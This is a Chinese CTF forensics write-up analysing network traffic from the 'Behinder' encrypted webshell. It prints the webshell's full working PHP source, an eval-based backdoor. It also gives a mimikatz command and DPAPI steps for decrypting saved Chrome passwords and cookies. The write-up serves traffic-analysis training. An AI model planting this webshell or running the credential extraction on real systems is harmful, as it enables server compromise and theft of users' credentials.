记一次对“冰蝎”一句话木马流量的分析

本文作者：gtfly，由“合天智汇”公众号首发，未经允许，禁止转载！

预备知识

“冰蝎”php一句话木马分析

“冰蝎”是什么？它是一款动态二进制加密网站管理客户端，它可以在HTTP明文协议中建立加密隧道，可以用于躲避传统的WAF、IDS等设备的检测。项目地址：

https://github.com/rebeyond/Behinder

“冰蝎”一句话木马可由Java、php、.net等语言来实现，我们以php为例来看这种新型的php一句话木马的实现：

<?php
@error_reporting(0);
session_start();
//如果接收到pass参数，则会生成16位的随机秘钥，存储到session中
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
//如果没接收到pass参数，则利用存储到session的秘钥进行解密
else
{
    $key=$_SESSION['k'];
    //接收POST来的加密后的待执行命令
  $post=file_get_contents("php://input");
    //如果不能加载openssl扩展，则使用base64解码
  if(!extension_loaded('openssl'))
  {
    $t="base64_"."decode";
    $post=$t($post."");

    for($i=0;$i<strlen($post);$i++) {
           $post[$i] = $post[$i]^$key[$i+1&15]; 
          }
  }
    //使用openssl进行AES解密
  else
  {
    $post=openssl_decrypt($post, "AES128", $key);
  }
    /*
    将解密后的$Ppost以`|`分割为数组；例如$post为assert|eval('phpinfo();')，那么分割后为:
    array("assert", "eval('phpinfo();')")
    */
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
  class C{public function __construct($p) {eval($p."");}}
    //创建C类，利用__construct中的eval来执行解密后的值
  @new C($params);
}
?>

 

离线导出Chrome浏览器中保存的密码

DPAPI，Data Protection Application Programming Interface，是Windows系统的一个数据保护接口，主要用于保护加密的数据。Chrome使用DPAPI保存了我们的登录密码和cookie值

用户使用Chrome访问网站进行登录时，可以选择是否保存密码。当选择保存密码时，Chrome先将密码进行加密，再保存在SQLite数据库文件中，数据库文件路径位于：

%LocalAppData%GoogleChromeUser DataDefaultLogin Data

同上，保存Cookie时，数据库文件路径为：

%LocalAppData%GoogleChromeUser DataDefaultCookies

存储的cookie值被加密为DPAPI blob来进行保护；我们可以通过使用Mimikatz这个工具来对Chrome中的SQLite数据库进行解析：

mimikatz dpapi::chrome /in:'%LocalAppData%GoogleChromeUser DataDefaultCookies'

解密DPAPI blob用到的相关概念：

• DPAPI blob：一段密文，可以使用Master Key对其解密
• Master Key：64字节，用于解密DPAPI blob；使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
• Master Key file：二进制文件，可以使用用户登录密码对其解密，得到Master Key

得到DPAPI blob、Master Key file和用户登录密码后，便可通过Windows Password Recovery这个工具解密Master Key file得到Master Key，再通过Master Key解密DPAPI blob，从而获得明文。详细DPAPI的介绍可参考文末文章。

3CTF复赛“这是捕获的黑客攻击数据包”流量分析

用Wireshark打开后，首先看其http流量，发现主要对upload.php、upload/20190918/file_5d81f9f4d22d41.67475082.php这两个php页面进行了请求：

右键，追踪upload.php的tcp流，发现其向upload.php上传了一个shell.php文件，内容为上面的“冰蝎”一句话木马：

上传后，服务器端返回了上传成功后的文件路径：

接着，追踪upload/20190918/file_5d81f9f4d22d41.67475082.php的tcp流：

可以看到，其分别用?pass=257和?pass=790进行了请求，服务端返回了生成的秘钥和session名称；其对应信息：

参数      Cookie                               秘钥
pass=257 PHPSESSID=3ctuh22vtilpn6dmhfiretvve8 23125af46e7c5a1f
pass=790 PHPSESSID=hie9ignjc1393vr719m0n38872 d59042be6e437849

在当前页面搜索pass=257请求时返回的session名称，发现只有生成返回时出现了一次，其他的请求使用的都是pass=790请求时返回的session名称，那么可以知道其他请求所带的加密信息的解密秘钥为d59042be6e437849：

之后，将这些请求信息解密，步骤：

在Wireshark选择 文件->导出对象->http:

得到文件如下：

其中，file_5d81f9f4d22d41.67475082(*).php内容均为客户端发送的加密的字符串。写脚本批量解密：

<?php
    $key = 'd59042be6e437849';
  for($i=1;i<=39;$i++){
    //$post = file_get_contents('/home/gtfly/下载/file_5d81f9f4d22d41.67475082.php');
    $post = file_get_contents('/home/gtfly/下载/file_5d81f9f4d22d41.67475082('."$i".').php');

      $post=openssl_decrypt($post, "AES128", $key);

        $arr=explode('|',$post);
        $func=$arr[0];
        $params=$arr[1];
        $params = preg_replace('/eval/', 'echo', $params);
        eval($params);
    }
?>

得到的php代码都很类似，目的都是获取目标主机上的特定文件内容：

最后一行，路径格式为Master Key file的格式：

C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/6ecf76bd-1803-437e-92e6-28dd36c907aa

找到其解密前的内容，搜索含有此内容的数据包，查看对应的服务端返回的内容：

可以看到里面含有Master Key file的名字，先将其保存下来

继续看解密得到的内容，在Master Key file上面发现有个文件名为password.txt：

找到其加密字符串的位置(最后一次对话)，解密其对应的服务端返回的字符串：

<?php
$key = 'd59042be6e437849';
$post = 'dMbFVmyUlb8MNJR1iwAN6n0CrkPTl/pfedppzkLxWWzQvkhWqXgA6UMbiqkE0LNg';

$post=openssl_decrypt($post, "AES128", $key);

$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];

var_dump($arr);

base64解码，得到p@ssw0rd

解密的内容中，还有个路径为C:/Users/shadow/AppData/Local/Google/Chrome/User Data/Default/Cookies，根据对应的密文追踪流，发现服务器返回了SQLite3数据库的数据：

 

将其导出，步骤：

显示和保存数据设为原始数据，保存为文件sss

binwalk查看其隐藏的文件类型，可以看到其识别出了SQLite3数据库：

dd将数据库分割开：

进入数据库，查看其内容和字段信息：

 可以看到，cookies表中有个encrypted_value BLOB字段，将其导出：

from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("ggg.db")
cursor = conn.cursor()
cursor.execute('select encrypted_value BLOB from cookies')  # 导出encrypted_value BLO字段
for result in cursor.fetchall():
    print(result)
    print (binascii.b2a_hex(result[0]))
    f = open('save.txt', 'wb')  #　保存为save.txt
    f.write(result[0])
    f.close()

那么目前我们获得的信息：

DPAPI blob
Master Key file
password

则可推测password.txt存储的是用户登录密码，使用这个密码对Master Key file解密得到Master Key，即可利用Master Key对数据库中的DPAPI blob解密

Master Key file保存时格式要如下(保存Wireshark中的流量时，要去除不属于这个文件的内容，可参考电脑自带的Master Key file文件内容)，否则Windows Password Recovery不能成功打开：

之后要将其命名为上面解密得到的Master Key file文件名：

6ecf76bd-1803-437e-92e6-28dd36c907aa

打开Windows Password Recovery，选择Utils->DPAPI Decoder and Analyser->Decrypt DPAPI data blob：

选择DPAPI blob file为save.txt，即保存的cookies表中的encrypted_value BLOB字段的值：

之后选择Master Key file6ecf76bd-1803-437e-92e6-28dd36c907aa，最后输入User SID，即Master Key file前的路径名S-1-5-21-2127750816-4215895028-2373289296-1001，和用户登录密码，即上面得到的p@ssw0rd

得到解密后的结果，即flag：

其他

题目文件：

链接：https://pan.baidu.com/s/1AQcldQ_WkcghKigK83ndZQ 提取码：tirm

复制这段内容后打开百度网盘手机App，操作更方便哦

参考文章：

https://bbs.pediy.com/thread-247634-1.htm

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/

 实践操作：

实践操作可以到合天网安实验室（http://www.hetianlab.com/cour.do?w=1&c=CCID9012-d1c7-459f-a4f1-da5898cc13bd）动手操作实验——恶意流量分析，已经为你搭建好了虚拟环境，本实验将带领大家走进分析网络流量的大门！